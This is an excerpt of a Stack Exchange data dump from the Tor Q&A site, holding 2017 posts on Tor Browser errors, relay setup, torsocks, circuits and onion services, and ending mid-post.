  <row Id="14621" PostTypeId="2" ParentId="14620" CreationDate="2017-04-21T18:20:29.227" Score="0" Body="&lt;p&gt;I've solved by installing &lt;code&gt;tor&lt;/code&gt; with &lt;code&gt;homebrew&lt;/code&gt;, by running &lt;code&gt;homebrew install tor&lt;/code&gt;,  but this doesn't seem to be the way it should be installed since there's an official app and the tor-resolve is supposed to come bundled with it&lt;/p&gt;&#xA;" OwnerUserId="17210" LastActivityDate="2017-04-21T18:20:29.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14622" PostTypeId="1" CreationDate="2017-04-22T02:06:06.350" Score="1" ViewCount="922" Body="&lt;p&gt;When I start TOR I get the message on the start page &quot;Something went wrong, Tor won't work with browser&quot;. I have included LOG INFO below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4/22/17, 1:51:19.800 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;4/22/17, 1:51:20.600 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;4/22/17, 1:51:23.100 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;4/22/17, 1:51:23.100 [NOTICE] Bootstrapped 100%: Done &#xA;4/22/17, 1:51:24.500 [NOTICE] New control connection opened from 127.0.0.1. &#xA;4/22/17, 1:54:07.700 [NOTICE] New control connection opened from 127.0.0.1. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17214" LastEditorUserId="16657" LastEditDate="2017-04-22T16:08:13.553" LastActivityDate="2017-04-22T16:08:13.553" Title="Getting &quot;Tor won't work with this browser&quot; message" Tags="|configuration|error|mac|" AnswerCount="0" CommentCount="3" ClosedDate="2017-04-22T17:12:03.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="14624" PostTypeId="1" CreationDate="2017-04-22T10:55:44.753" Score="2" ViewCount="448" Body="&lt;p&gt;I made two profiles of Tor Browser from the command line and I followed &lt;a href=&quot;https://tor.stackexchange.com/questions/6235/how-to-run-multiple-tor-browsers-simultaneously-and-independently-with-different&quot;&gt;this&lt;/a&gt; but it didn't work for Mac. I can run both Tor Browser.app and Tor Browser2.app from different ports now, but somehow I can't run them at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is to run one instance of Tor Browser with the default settings, while running another with an exit node of a designated IP address. Is this possible on a Mac? If so, how? I looked into ~/Library/Application Support/TorBrowser-Data but there was no separate torrc file for each of the profiles I have: there was only one that seemed to be shared across all the profiles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: although I said I followed the post I linked, there were some steps that can't be followed in my environment. These options didn't exist in my Tor browser's about:config settings.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Modify extensions.torbutton.custom.socks_port to a new port (eg. 9152&#xA;  for Tor Browser 2) Modify extensions.torbutton.custom.socks_host to&#xA;  127.0.0.1 Modify extensions.torbutton.proxies_applied to false&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And as for this step:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Edit torrc-defaults in \TorBrowser\Data\Tor &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I edited that torrc-defaults in /Applications/TorBrowser2.app/Contents/Resources/TorBrowser/Tor/torrc-defaults&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my torrc file is in ~/Library/Application Support/TorBrowser-Data/Tor/torrc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My profile data is in ~/Library/Application Support/TorBrowser-Data/Browser/[myProfileID].[myProfileName]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there are folders like bookmarkbackups, extensions, gmp, HTTPSEverywhereUserRules, preferences and bunch of files but not torrc here. (i.e. there are no separate torrc files for each profile, just one shared across all profiles.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips&quot;&gt;this post&lt;/a&gt;, there's another Answer by mirmir, but a step in it can't be followed on Mac too. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now open the second Tor browser then TorButton Preferences. Select &quot;Use custom settings&quot; then change the SOCKS Port to 9152 and click OK. Browse &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt; and verify that you're using Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's no TorButton Preferences in my TorBrowser.app!&lt;/p&gt;&#xA;" OwnerUserId="17216" LastEditorUserId="17216" LastEditDate="2017-04-22T21:21:10.607" LastActivityDate="2017-04-22T21:21:10.607" Title="Mac: how to run multiple instances of Tor browser at the same time with different exit nodes?" Tags="|tor-browser-bundle|mac|" AnswerCount="0" CommentCount="6" ClosedDate="2017-04-22T17:27:13.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="14626" PostTypeId="1" AcceptedAnswerId="14627" CreationDate="2017-04-23T11:08:20.587" Score="1" ViewCount="179" Body="&lt;p&gt;I understand hidden services and am planning to configure one on my laptop. I was just wondering, if I create a hidden service on my laptop at home will the hidden service still work with the same onion address on a different network such as at a coffee shop for instance?&lt;/p&gt;&#xA;" OwnerUserId="17224" LastEditorUserId="88" LastEditDate="2017-04-23T21:25:58.403" LastActivityDate="2017-04-23T21:25:58.403" Title="Are hidden services portable?" Tags="|onion-services|network-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14627" PostTypeId="2" ParentId="14626" CreationDate="2017-04-23T11:17:48.303" Score="4" Body="&lt;p&gt;Yes, the .onion address stays the same no matter what network you're using to connect to the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-23T11:17:48.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14629" PostTypeId="1" CreationDate="2017-04-23T15:22:19.270" Score="2" ViewCount="429" Body="&lt;p&gt;I've looked through the existing descriptions and tried many ways to do this - but don't believe it's ever worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Windows 7 pro machine which has been running for years with only two applications - Open VPN and Privoxy. Both run from a guest account and supply web access &amp;amp; DNS to all other PCs here. This machine runs 24/7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would like to install a manually started tor middle relay, but it sems everything I try fails to get the torrc recognized by the tor.exe file. But when I manually start tor.exe with admin priviledges from that same guest account - it indicates it can build working circuits from it's default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need tor access (have other ways for that) - just wish to provide relay capacity while keeping these activities hidden from our ISP (who I detest). Have a second identical gateway going to a different VPN which I might be willing to convert also - if I could just get the first to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Believe I found the main problem....torrc had a hidden .txt suffix (rolling eyes). Now it shows to be reading the configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;New problem? It claims I haven't inserted contact information - but I believe I have.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 23 14:12:40.799 [notice] Tor 0.2.9.10 (git-1f6c8eda0073f464) running on Windows 7 with Libevent 2.0.22-stable, OpenSSL 1.0.2k and Zlib 1.2.8.&#xA;Apr 23 14:12:40.799 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 23 14:12:40.819 [notice] Read configuration file &quot;C:\Users\VPNProxy\AppData\Roaming\tor\torrc&quot;.&#xA;Apr 23 14:12:40.829 [warn] Path for GeoIPFile (&amp;lt;default&amp;gt;) is relative and will resolve to C:\Users\Guest\tor\tor\&amp;lt;default&amp;gt;. Is this what you wanted?&#xA;Apr 23 14:12:40.829 [warn] Path for GeoIPv6File (&amp;lt;default&amp;gt;) is relative and will resolve to C:\Users\Guest\tor\tor\&amp;lt;default&amp;gt;. Is this what you wanted?&#xA;Apr 23 14:12:40.829 [notice] Your ContactInfo config option is not set. Please consider setting it, so we can contact you if your server is misconfigured or something else goes wrong.&#xA;Apr 23 14:12:40.829 [notice] Based on detected system memory, MaxMemInQueues is set to 1535 MB. You can override this by setting MaxMemInQueues by hand.&#xA;Configuration was valid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update. This is my current torrc:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security refinements welcomed. I'm very nervous tor relay only functions with admin privileges.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ORPort 9803&#xA; Nickname worfdog&#xA; RelayBandwidthRate 100 KBytes&#xA; ContactInfo Bat Shit &amp;lt;services+torelay AT doemail.org&amp;gt;&#xA; DirPort 10803&#xA; Exitpolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17226" LastEditorUserId="12737" LastEditDate="2017-04-24T14:21:29.420" LastActivityDate="2017-04-24T14:21:29.420" Title="Howto to install a Tor middle relay on a working Windows VPN Proxy?" Tags="|relays|windows|proxy|vpn|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="14630" PostTypeId="2" ParentId="14626" CreationDate="2017-04-23T21:25:37.400" Score="0" Body="&lt;p&gt;Your onion address is calcaluted when you configure your Onion Service. Whenever you change networks Tor will realise this and update the service descriptor. So after some short amount of time your address will be reachable again indepent from the network which you're currently using.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-04-23T21:25:37.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14631" PostTypeId="1" CreationDate="2017-04-24T00:14:12.360" Score="1" ViewCount="70" Body="&lt;p&gt;I do that from time to time when the IP address I'm using gets blocked by the Barracuda blacklist (or others) and the wife starts complaining about lost Kroger access :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change IPs, will Tor even care? Or will this become a big production?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had believed that TOR was only about certificate signatures - not IP addresses. Am I wrong?&lt;/p&gt;&#xA;" OwnerUserId="17226" LastActivityDate="2017-05-25T14:27:45.457" Title="Have a Tor Relay working from a VPN providers address. What if I change cities?" Tags="|vpn|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14634" PostTypeId="1" AcceptedAnswerId="14635" CreationDate="2017-04-24T12:22:21.303" Score="2" ViewCount="1295" Body="&lt;p&gt;What is the limit of circuits. For example if I open 100 unique domains will TOR make 100 different circuits or does this have some upper limit?&lt;/p&gt;&#xA;" OwnerUserId="12161" LastEditorUserId="88" LastEditDate="2017-04-24T14:18:10.040" LastActivityDate="2017-04-24T14:18:10.040" Title="Does tor browser open a new circuit for each unique website?" Tags="|tor-browser-bundle|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14635" PostTypeId="2" ParentId="14634" CreationDate="2017-04-24T13:23:13.120" Score="5" Body="&lt;p&gt;In Tor Browser, every domain gets it's own circuit. &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#identifier-linkability&quot; rel=&quot;noreferrer&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt; document has some more details on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankly, you get an own circuit for every domain shown in the address bar. So, if you visit google.com a different circuit is used than when you visit example.com even when content, like an advertisement, is loaded from google.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not believe that there is a limit or at least not one you're likely to ever hit.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-24T13:23:13.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14639" PostTypeId="2" ParentId="14609" CreationDate="2017-04-24T19:51:02.890" Score="1" Body="&lt;p&gt;As far as I remember consensus documents are downloaded from the directory guards. Currently, every client has three guards but that's &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13908&quot; rel=&quot;nofollow noreferrer&quot;&gt;subject to change&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you never download the full consensus but rather only what is needed to build a circuit. (e.g. what is necessary to pick a random path through the network.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at directory protocol some time back, things may have change and I might misremember. So, you may want to take a look at &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor directory protocol, version 3&lt;/a&gt; specification yourself.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-24T19:51:02.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14640" PostTypeId="1" CreationDate="2017-04-25T10:52:04.793" Score="2" ViewCount="4982" Body="&lt;p&gt;I am trying to get Tor relay working and I obviously have done some thing wrong, as I keep getting the torsocks PERROR when testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I entered the command &lt;code&gt;curl https://api.ipify.org&lt;/code&gt; and get &lt;code&gt;82.3.5.110&lt;/code&gt; as reply. I then try &lt;code&gt;torsocks curl https://api.ipify.org&lt;/code&gt; and always get the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;steve@TorServer:torsocks curl https://api.ipify.org&#xA;[Apr 25 11:41:33] PERROR torsocks[2893]: socks5 libc connect: Connection refused (in socks5_connect() at socks5.c:185)&#xA;curl: (6) Could not resolve host: api.ipify.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The debug output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;steve@TorServer:/etc/tor$ torsocks -d curl https://api.ipify.org&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: Logging subsytem initialized. Level 5, file (null), time 1 (in init_logging() at torsocks.c:286)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: Config file not provided by TORSOCKS_CONF_FILE. Using default /etc/tor/torsocks.conf (in config_file_read() at config-file.c:531)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: Config file setting tor address to 127.0.0.1 (in set_tor_address() at config-file.c:179)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: Config file setting tor port to 9050 (in set_tor_port() at config-file.c:142)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: [config] Onion address range set to 127.42.42.0/24 (in set_onion_info() at config-file.c:108)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: Config file /etc/tor/torsocks.conf opened and parsed. (in config_file_read() at config-file.c:560)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: [fclose] Close catched for fd 4 (in tsocks_fclose() at fclose.c:45)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: [onion] Pool init with subnet 127.42.42.0 and mask 24 (in onion_pool_init() at onion.c:104)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: [onion] Pool initialized with base 0, max_pos 255 and size 8 (in onion_pool_init() at onion.c:132)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: Close catched for fd 4 (in tsocks_close() at close.c:33)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: Close catched for fd 5 (in tsocks_close() at close.c:33)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: [socket] Creating socket with domain 10, type 2 and protocol 0 (in tsocks_socket() at socket.c:33)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: IPv4/v6 non TCP socket denied. Tor network can't handle it. (in tsocks_socket() at socket.c:59)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: [getaddrinfo] Requesting api.ipify.org hostname (in tsocks_getaddrinfo() at getaddrinfo.c:44)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: Resolving api.ipify.org on the Tor network (in tsocks_tor_resolve() at torsocks.c:527)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: Setting up a connection to the Tor network on fd 4 (in setup_tor_connection() at torsocks.c:350)&#xA;[Apr 25 14:36:17] PERROR torsocks[3814]: socks5 libc connect: Connection refused (in socks5_connect() at socks5.c:185)&#xA;curl: (6) Could not resolve host: api.ipify.org&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: [onion] Destroying onion pool containing 0 entry (in onion_pool_destroy() at onion.c:148)&#xA;[Apr 25 14:36:17] DEBUG torsocks[3814]: [fclose] Close catched for fd 2 (in tsocks_fclose() at fclose.c:45)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone can tell why the error appears and how to handle it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The torrc I tried to add it to the question and I was told I cant as I dont have 2 points to my name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torsocks.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TorAddress 127.0.0.1&#xA;TorPort 9050&#xA;OnionAddrRange 127.42.42.0/24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried adding the torrc file but get an error message&#xA;&quot;You neeed at least 10 reputations to post more than 2 links&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I get help if I cant post it? - and I do need help here&lt;/p&gt;&#xA;" OwnerUserId="17225" LastEditorUserId="17225" LastEditDate="2017-05-01T11:19:20.957" LastActivityDate="2017-05-01T11:19:20.957" Title="PERROR torsocks [2893]" Tags="|tor-browser-bundle|error|torsocks|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14641" PostTypeId="1" CreationDate="2017-04-25T11:23:36.330" Score="0" ViewCount="1752" Body="&lt;p&gt;I heard that tor browser uses the anonymous feature while browsing. I need to know about it in detail. What is tor or why it is used. I searched for this in the internet but few blogs scares me. So what can I do with Tor Browser what I can't do with other browsers?&lt;/p&gt;&#xA;" OwnerUserId="17232" LastEditorUserId="88" LastEditDate="2017-04-25T14:55:38.637" LastActivityDate="2017-04-25T18:39:14.133" Title="What are the possible things that we can do using tor browser that we cannot do with other browsers?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14642" PostTypeId="2" ParentId="14631" CreationDate="2017-04-25T14:03:53.010" Score="1" Body="&lt;p&gt;If you change your IP, your relay will be &quot;down&quot; until the next consensus is published with an updated IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It won't be able to be used until the next consensus is published at the top of the hour and clients have downloaded the updated information. e.g. if you change IP at 00:05 your relay won't be usable again till some time after 01:00.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-25T14:03:53.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14643" PostTypeId="2" ParentId="14641" CreationDate="2017-04-25T14:59:59.270" Score="1" Body="&lt;p&gt;Tor Browser is just a normal browser. It is a Mozilla Firefox which has some additional improvements regarding your privacy. Besides Firefox there is the Tor software itself which routes your Internet connection through different hops around the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you use Tor Browser you can do basically the same things as with any other browser. The difference is that Tor Browser tries very hard to keep your location (ip address) hidden and thus provide anonymity. Furthermore the Tor Browser also tries to close several vulnerabilities which decrease your privacy on the net.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-04-25T14:59:59.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14645" PostTypeId="2" ParentId="14641" CreationDate="2017-04-25T18:39:14.133" Score="1" Body="&lt;p&gt;The Tor Browser is split into tor parts, the browser and Tor itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at Tor first, it routes the traffic through multiple hops (different hosts on the Internet) to make it harder for anyone to figure out who you are or where you are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's looks at the browser part. Tor Browser is based on Firefox with a few yet important changes. Here is a list with the main differences:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor Browser ensures you get a different circuit for every domain. (e.g. google.com does not take the same route through tor as example.net)&lt;/li&gt;&#xA;&lt;li&gt;Cookies, caches, etc. are separated by domain. (If you have an Google advert on example.net and somewhere.else Google won't be able to make the correlation.)&lt;/li&gt;&#xA;&lt;li&gt;Tor Browser disables certain features known to be prone to security issues. (The security slider allows you to disable even more such features.)&lt;/li&gt;&#xA;&lt;li&gt;Tor Browser is binary reproducible (It is possible to prove that Tor Browser was build from a particular source.)&lt;/li&gt;&#xA;&lt;li&gt;Tor Browser has measurements to make sure that traffic is routed via Tor. (Not the case with all browsers.)&lt;/li&gt;&#xA;&lt;li&gt;Tor Browser avoids writing any information to disk (history, cache, etc.). (If anyone gets access do your machine, there is no browsing history.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For a more complete list take a look at &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-25T18:39:14.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14646" PostTypeId="2" ParentId="14640" CreationDate="2017-04-25T19:13:58.233" Score="2" Body="&lt;p&gt;If you want to use Tor Browser's Tor instance you'll have to use &lt;code&gt;TorPort 9150&lt;/code&gt;. Alternatively, you can install a global Tor instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work if you're running the alpha version of Tor Broswer on a Unix-like system, it uses a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/14270&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unix socket&lt;/a&gt; instead. You should also expect the stable series to switch to Unix sockets before long.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-04-25T19:13:58.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14647" PostTypeId="1" CreationDate="2017-04-25T22:44:00.367" Score="1" ViewCount="27" Body="&lt;p&gt;failed to establish network and here are logs&#xA;26/04/2017 00:37:15 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;26/04/2017 00:37:15 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;26/04/2017 00:37:15 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;26/04/2017 00:37:15 ص.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;26/04/2017 00:37:15 ص.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;26/04/2017 00:37:15 ص.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;26/04/2017 00:38:46 ص.200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 1F45542A24A61BF9408F1C05E0DCE4E29F2CBA11 at 5.9.146.203:443) &#xA;26/04/2017 00:38:46 ص.200 [WARN] 10 connections have failed: &#xA;26/04/2017 00:38:46 ص.200 [WARN]  8 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;26/04/2017 00:38:46 ص.200 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv3 read finished A in HANDSHAKE &#xA;26/04/2017 00:38:46 ص.200 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;26/04/2017 00:39:01 ص.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;26/04/2017 00:39:01 ص.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;26/04/2017 00:39:01 ص.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;26/04/2017 00:39:01 ص.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="17246" LastActivityDate="2017-04-25T22:44:00.367" Title="Can't connect Tor Network failed to establish network" Tags="|help|" AnswerCount="0" CommentCount="1" ClosedDate="2017-04-26T07:37:22.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="14648" PostTypeId="1" CreationDate="2017-04-26T01:56:18.027" Score="1" ViewCount="802" Body="&lt;p&gt;On walmart.ca, my location data shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G7Clj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G7Clj.jpg&quot; alt=&quot;Tor circuit view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the latest version of TBB 6.5.2 on MacOS Sierra 10.12.4. I am not signed in and it happens during a new start of Tor. The browser is on medium security. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is walmart.ca seeing my true location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: different country node: website shows my city location from any exit node&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nopEA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/nopEA.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit2: I can't connect to the site anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit3: I can still connect to walmart.ca and it shows my true city location over different exit nodes. I click through different exit nodes to get through the Access Denied screen. I noticed initially because the site went through the first time I tried it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not typing in any info or signing in. Walmart.ca auto enters my city postal code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~Thanks for the help guys&lt;/p&gt;&#xA;" OwnerUserId="17247" LastEditorUserId="17252" LastEditDate="2017-04-28T16:00:11.647" LastActivityDate="2017-04-28T16:52:25.163" Title="How is a site tracing my location on tor?" Tags="|tor-browser-bundle|anonymity|mac|location|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14649" PostTypeId="2" ParentId="14648" CreationDate="2017-04-26T02:54:43.093" Score="1" Body="&lt;p&gt;Okay, I finally managed to find an Exit that wallmart.ca didn't block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That post code is just the default. Purely co-incidence if it happens to match where you are actually located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website has no idea of your real location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qInVO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qInVO.png&quot; alt=&quot;Default location&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-04-28T16:52:25.163" LastActivityDate="2017-04-28T16:52:25.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14650" PostTypeId="1" CreationDate="2017-04-26T05:44:37.373" Score="2" ViewCount="153" Body="&lt;p&gt;I would like to use the tor browser but without the Proxy / Onion element of it. The reason why I would like to do this is because I'd like to use Tor as my main go to browser for normal activities and I have more trust in Tor than in Google Chrome or Mozilla regarding sending private information back from the browser itself (AKA application-level privacy/security).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION:&lt;/strong&gt; How can I disable the Proxy part of tor WITHOUT disabling the rest of the security features Tor has?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WHAT I HAVE TRIED SO FAR:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;______&lt;strong&gt;[&lt;/strong&gt; ATTEMPT# &lt;strong&gt;1]&lt;/strong&gt;______&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Menu &lt;strong&gt;&gt;&lt;/strong&gt; Add-ons &lt;strong&gt;&gt;&lt;/strong&gt; Extensions &lt;strong&gt;&gt;&lt;/strong&gt; Disable TorLauncher&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing this and trying to go on any random URL, I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The proxy server is refusing connections&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Firefox is configured to use a proxy server that is refusing connections.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Check the proxy settings to make sure that they are correct.&lt;/li&gt;&#xA;  &lt;li&gt;Contact your network administrator to make sure the proxy server is working.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;[IMPORTANT NOTE] I already did try disabling the Torbutton add-on as well, and the same error happened. HOWEVER I do not want to disable the Torbutton add-on since it provides important application-level security, which I would like to keep. I just tried disabling it to see if it was causing some indirect issues.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;______&lt;strong&gt;[&lt;/strong&gt; ATTEMPT# &lt;strong&gt;2]&lt;/strong&gt;______&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Menu &lt;strong&gt;&gt;&lt;/strong&gt; Options &lt;strong&gt;&gt;&lt;/strong&gt; Advanced &lt;strong&gt;&gt;&lt;/strong&gt; Network &lt;strong&gt;&gt;&lt;/strong&gt;  Settings &lt;strong&gt;&gt;&lt;/strong&gt; Selecting &quot;No proxy&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was done together with keeping 